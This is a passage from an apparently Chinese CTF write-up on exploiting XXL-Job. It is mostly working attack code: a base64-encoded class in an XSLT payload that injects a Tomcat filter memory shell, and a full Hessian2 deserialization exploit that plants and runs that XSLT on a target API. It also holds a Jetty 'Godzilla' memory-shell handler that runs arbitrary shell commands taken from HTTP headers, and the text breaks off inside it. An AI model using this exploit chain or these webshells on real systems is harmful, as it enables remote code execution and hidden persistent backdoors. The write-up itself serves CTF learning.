AAoABgoAAgC3AQAJbG9hZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwwAuQC6CgCvALsMAA0ABgoAAgC9AQAMZGVjb2RlQmFzZTY0AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgwAvwDACgACAMEBAA5nemlwRGVjb21wcmVzcwEABihbQilbQgwAwwDECgACAMUIAKgHAKcBABFqYXZhL2xhbmcvSW50ZWdlcgcAyQEABFRZUEUMAMsAqwkAygDMAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DADOAM8KAH8A0AEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAcA0gEADXNldEFjY2Vzc2libGUBAAQoWilWDADUANUKANMA1gEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DADYANkKAMoA2gEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwA3ADdCgDTAN4BAAtuZXdJbnN0YW5jZQwA4AA7CgB/AOEBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggA6QEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDADrAOwKABIA7QEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwA7wDwCgASAPEBAAlmaWx0ZXJEZWYBAAlmaWx0ZXJNYXABAAJlMgEADGNvbnN0cnVjdG9ycwEAIFtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVyQ29uZmlnAQANZmlsdGVyQ29uZmlncwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAKZmlsdGVyTmFtZQEAI1tMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I8Kj47BwD3AQARZ2V0Q2F0YWxpbmFMb2FkZXIMAQAAigoAAgEBDADjAOQKAAIBAwEADWZpbmRGaWx0ZXJEZWYIAQUBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAFsBBwoAAgEIAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJEZWYIAQoBAAdmb3JOYW1lDAEMALoKAH8BDQEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyTWFwCAEPAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyRGVmCAERAQAkb3JnLmFwYWNoZS5jYXRhbGluYS5kZXBsb3kuRmlsdGVyTWFwCAETAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwwBDAEVCgB/ARYBAA1zZXRGaWx0ZXJOYW1lCAEYAQAOc2V0RmlsdGVyQ2xhc3MIARoBAAxhZGRGaWx0ZXJEZWYIARwBAA1zZXREaXNwYXRjaGVyCAEeAQAHUkVRVUVTVAgBIAEADWFkZFVSTFBhdHRlcm4IASIMAAUABgoAAgEkAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCAEmAQAXZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcnMBACIoKVtMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DAEoASkKAH8BKgEADXNldFVSTFBhdHRlcm4IASwBABJhZGRGaWx0ZXJNYXBCZWZvcmUIAS4BAAxhZGRGaWx0ZXJNYXAIATABAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgcBMgoBMwDWAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DADgATUKATMBNggA+QEADWphdmEvdXRpbC9NYXAHATkBAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwBOwE8CwE6AT0BAA9wcmludFN0YWNrVHJhY2UMAT8AGQoAGwFAAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24HAUIBACBqYXZhL2xhbmcvSW5zdGFudGlhdGlvbkV4Y2VwdGlvbgcBRAEAAWkBAAxkZWNvZGVyQ2xhc3MBAAdkZWNvZGVyAQAHaWdub3JlZAEACWJhc2U2NFN0cgEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcggBTAEADGRlY29kZUJ1ZmZlcggBTgEACWdldE1ldGhvZAwBUADPCgB/AVEBABBqYXZhLnV0aWwuQmFzZTY0CAFTAQAKZ2V0RGVjb2RlcggBVQEABmRlY29kZQgBVwEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBYgEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAWQBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBZgoBYwAsAQAFKFtCKVYMABUBaQoBZQFqAQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAWwKAWcBbQEABHJlYWQBAAUoW0IpSQwBbwFwCgFnAXEBAAV3cml0ZQEAByhbQklJKVYMAXMBdAoBYwF1AQALdG9CeXRlQXJyYXkBAAQoKVtCDAF3AXgKAWMBeQEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcv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')"/>
 <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
 <xsl:variable name="rce" select="ru:defineClass('org.junit.m.EncryptionUtils',$bs,$cl)"/>
 <xsl:value-of select="$rce"/>
 </xsl:template>
 </xsl:stylesheet>
 
 | 
这里defineClass的类名记得写成注入器的类名,一开始忘改了卡这里好久服了😭
最后写一个一把梭的exp
| package org.clown.exp;
 import com.caucho.hessian.io.Hessian2Input;
 import com.caucho.hessian.io.Hessian2Output;
 import com.caucho.hessian.io.SerializerFactory;
 import sun.security.pkcs.PKCS9Attribute;
 import sun.security.pkcs.PKCS9Attributes;
 import sun.swing.SwingLazyValue;
 
 import javax.swing.*;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.net.HttpURLConnection;
 import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 
 public class DasCTFEasyJob {
 public static byte[] Hessian2_Serial(Object o) throws IOException {
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 Hessian2Output hessian2Output = new Hessian2Output(baos);
 SerializerFactory serializerFactory = new SerializerFactory();
 serializerFactory.setAllowNonSerializable(true);
 hessian2Output.setSerializerFactory(serializerFactory);
 hessian2Output.writeObject(o);
 hessian2Output.flushBuffer();
 return baos.toByteArray();
 }
 
 public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
 ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
 Hessian2Input hessian2Input = new Hessian2Input(bais);
 Object o = hessian2Input.readObject();
 return o;
 }
 public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
 Field declaredField = o.getClass().getDeclaredField(fieldName);
 declaredField.setAccessible(true);
 declaredField.set(o, value);
 }
 
 public static void postExp(String url1,byte[] poc) throws Exception{
 
 URL url = new URL(url1);
 HttpURLConnection connection = (HttpURLConnection) url.openConnection();
 
 connection.setRequestMethod("POST");
 
 connection.setRequestProperty("Content-Type", "application/octet-stream");
 
 connection.setDoOutput(true);
 
 OutputStream outputStream = connection.getOutputStream();
 outputStream.write(poc);
 
 int responseCode = connection.getResponseCode();
 System.out.println("Response Code: " + responseCode);
 
 connection.disconnect();
 }
 
 public static void uploadXslt(String url, String xsltFilePath) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
 UIDefaults uiDefaults = new UIDefaults();
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))}));
 setField(pkcs9Attributes,"attributes",uiDefaults);
 byte[] data = Hessian2_Serial(pkcs9Attributes);
 
 byte[] poc = new byte[data.length + 1];
 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 postExp(url,poc);
 }
 public static void doAttack(String url) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
 UIDefaults uiDefaults = new UIDefaults();
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}}));
 setField(pkcs9Attributes,"attributes",uiDefaults);
 byte[] data = Hessian2_Serial(pkcs9Attributes);
 
 byte[] poc = new byte[data.length + 1];
 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 postExp(url,poc);
 }
 
 public static void main(String[] args) throws Exception {
 String url="http://127.0.0.1:8080/api";
 uploadXslt(url, "payload.xslt");
 doAttack(url);
 }
 }
 
 | 

然后冰蝎上线


executor未授权
属实是干无语了给我,打了半天发现题目是打的executor未授权,题目好像是只给了一个executor的端口,我本地搭的所以admin和executor端口都有,然后api未授权也是能正常打,直接打偏了
executor我们访问9999端口他的回显是这样的

这里也是用的hessian反序列化读取数据,这里我们可以去xxl-job的executor的源码看到jetty服务的启动源码

这里只设置了一个JettyServerHandler,所有请求都会由这个JettyServerHandler来处理,看一下源码

可以看到他这里也是进行Hessian反序列化处理,和我们前面admin看到的处理方式是一样的
那我们就需要去注入一个handler,也就是jetty的内存马,直接抄wp的了,一开始用内存马生成器生成了打不进去
| package com.xxl.job.core;
 import org.eclipse.jetty.server.*;
 import org.eclipse.jetty.server.handler.AbstractHandler;
 import org.eclipse.jetty.server.handler.HandlerCollection;
 import sun.misc.Unsafe;
 
 import javax.crypto.Cipher;
 import javax.crypto.spec.SecretKeySpec;
 import javax.servlet.ServletException;
 import javax.servlet.ServletOutputStream;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 import java.lang.ref.Reference;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.net.URL;
 import java.net.URLClassLoader;
 import java.util.Scanner;
 
 
 
 public class JettyGodzillaMemshell extends AbstractHandler {
 String xc = "3c6e0b8a9c15224a";
 String pass = "username";
 String md5 = md5(pass + xc);
 Class payload;
 public static String md5(String s) {
 String ret = null;
 try {
 java.security.MessageDigest m;
 m = java.security.MessageDigest.getInstance("MD5");
 m.update(s.getBytes(), 0, s.length());
 ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
 } catch (Exception e) {
 }
 return ret;
 }
 public JettyGodzillaMemshell() {
 System.out.println(1);
 }
 
 public JettyGodzillaMemshell(int s) {
 System.out.println(2);
 }
 
 static {
 try {
 HttpConnection valueField = getValueField();
 HandlerCollection handler = (HandlerCollection) valueField.getHttpChannel().getServer().getHandler();
 Field mutableWhenRunning = handler.getClass().getDeclaredField("_mutableWhenRunning");
 mutableWhenRunning.setAccessible(true);
 mutableWhenRunning.set(handler,true);
 
 Handler[] handlers = handler.getHandlers();
 Handler[] newHandlers=new Handler[handlers.length+1];
 newHandlers[0]=new JettyGodzillaMemshell(1);
 for (int i = 0; i < handlers.length; i++) {
 newHandlers[i + 1] = handlers[i];
 }
 handler.setHandlers(newHandlers);
 
 } catch (NoSuchFieldException e) {
 throw new RuntimeException(e);
 } catch (ClassNotFoundException e) {
 throw new RuntimeException(e);
 } catch (IllegalAccessException e) {
 throw new RuntimeException(e);
 }
 }
 private static sun.misc.Unsafe getUnsafe() throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
 Field unsafe = Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
 unsafe.setAccessible(true);
 sun.misc.Unsafe theunsafe = (sun.misc.Unsafe) unsafe.get(null);
 return theunsafe;
 }
 private static HttpConnection getValueField() throws NoSuchFieldException, ClassNotFoundException, IllegalAccessException {
 Unsafe unsafe = getUnsafe();
 ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
 Field threadsfiled = threadGroup.getClass().getDeclaredField("threads");
 Thread[] threads = (Thread[]) unsafe.getObject(threadGroup, unsafe.objectFieldOffset(threadsfiled));
 for(int i=0;i<threads.length;i++) {
 try {
 Field threadLocalsF = threads[i].getClass().getDeclaredField("threadLocals");
 Object threadlocal = unsafe.getObject(threads[i], unsafe.objectFieldOffset(threadLocalsF));
 Reference[] table = (Reference[]) unsafe.getObject(threadlocal, unsafe.objectFieldOffset(threadlocal.getClass().getDeclaredField("table")));
 for(int j=0;j<table.length;j++){
 try {
 
 
 
 
 Object value =unsafe.getObject(table[j], unsafe.objectFieldOffset(table[j].getClass().getDeclaredField("value")));
 if(value.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")){
 return (HttpConnection)value;
 }
 }
 catch (Exception e){
 
 }
 }
 
 } catch (Exception e) {
 
 }
 }
 return null;
 }
 public static String base64Encode(byte[] bs) throws Exception {
 Class base64;
 String value = null;
 try {
 base64 = Class.forName("java.util.Base64");
 Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
 value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
 } catch (Exception e) {
 try {
 base64 = Class.forName("sun.misc.BASE64Encoder");
 Object Encoder = base64.newInstance();
 value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
 } catch (Exception e2) {
 }
 }
 return value;
 }
 public static byte[] base64Decode(String bs) throws Exception {
 Class base64;
 byte[] value = null;
 try {
 base64 = Class.forName("java.util.Base64");
 Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
 value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
 } catch (Exception e) {
 try {
 base64 = Class.forName("sun.misc.BASE64Decoder");
 Object decoder = base64.newInstance();
 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
 } catch (Exception e2) {
 }
 }
 return value;
 }
 public byte[] x(byte[] s, boolean m) {
 try {
 Cipher c = Cipher.getInstance("AES");
 c.init(m ? 1 : 2, new SecretKeySpec(xc.getBytes(), "AES"));
 return c.doFinal(s);
 } catch (Exception e) {
 return null;
 }
 }
 
 @Override
 public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
 try {
 if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
 String cmd = request.getHeader("cmd");
 if (cmd != null && !cmd.isEmpty()) {
 String[] cmds = null;
 if (System.getProperty("os.name").toLowerCase().contains("win")) {
 cmds = new String[]{"cmd", "/c", cmd};
 } else {
 cmds = new String[]{"/bin/bash", "-c", cmd};
 }
 base.setHandled(true);
 String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
 ServletOutputStream outputStream = response.getOutputStream();
 outputStream.write(result.getBytes());
 outputStream.flush();
 }
 }
 else if (request.getHeader("x-fuck-data").equalsIgnoreCase("godzilla")) {
 
 byte[] data = base64Decode(request.getParameter(pass));
 data = x(data, false);
 if (payload == null) {
